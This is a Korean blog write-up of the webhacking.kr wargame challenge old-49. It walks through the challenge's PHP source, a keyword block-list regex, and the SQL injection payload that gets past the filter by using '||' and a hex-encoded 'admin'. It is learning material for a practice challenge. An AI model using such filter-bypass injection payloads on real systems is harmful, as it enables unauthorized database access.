해킹/Web hacking
webhacking.kr old-49 Write Up
공부하는 뚱이
2025. 3. 6. 17:02
반응형
코드 분석
<?php
// $_GET['lv'] 값이 설정되어 있는지 확인합니다.
if($_GET['lv']){
// 데이터베이스 연결 함수 호출 (구체적인 내용은 정의된 dbconnect() 함수에 따라 다릅니다).
$db = dbconnect();
// $_GET['lv']에 SQL injection 방지 필터링 적용.
// select, or, and, (, ), limit, ,, /, order, cash 등의 키워드와 공백, 탭, 따옴표가 포함되어 있으면 프로그램 종료.
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
// 필터링된 $_GET['lv'] 값을 사용하여 chall49 테이블에서 id 값을 가져옵니다.
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
// 쿼리 결과에서 가져온 id 값을 출력합니다.
echo $result[0];
// 가져온 id 값이 "admin"인지 확인하고, "admin"이라면 solve(49) 함수 호출.
if($result[0]=="admin") solve(49);
}
?>
취약점이 존재하는 곳
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
만들어야 하는 sql 구문
select id from chall49 where lv={}
필터링된 것들
- select
- or
- and
- (
- )
- limit
- ,
- /
- order
- cash
- 공백( )
- 탭(\t)
- 작은따옴표(')
- 큰따옴표(")
아 그럼 lv input 값에 1||id=0x61646D696E 넣으면 되겠지 하고 입력했는데
이렇게 입력하니까 나오지 않아서 왜 안되지 했었다. ㅋㅋㅋㅋㅋㅋ
OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!
lv 값이 5부터 id가 출력되지 않았다. 그래서
5
select id from chall49 where lv={5||id=0x61646D696E}
이렇게 입력하면
굿!
OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!
반응형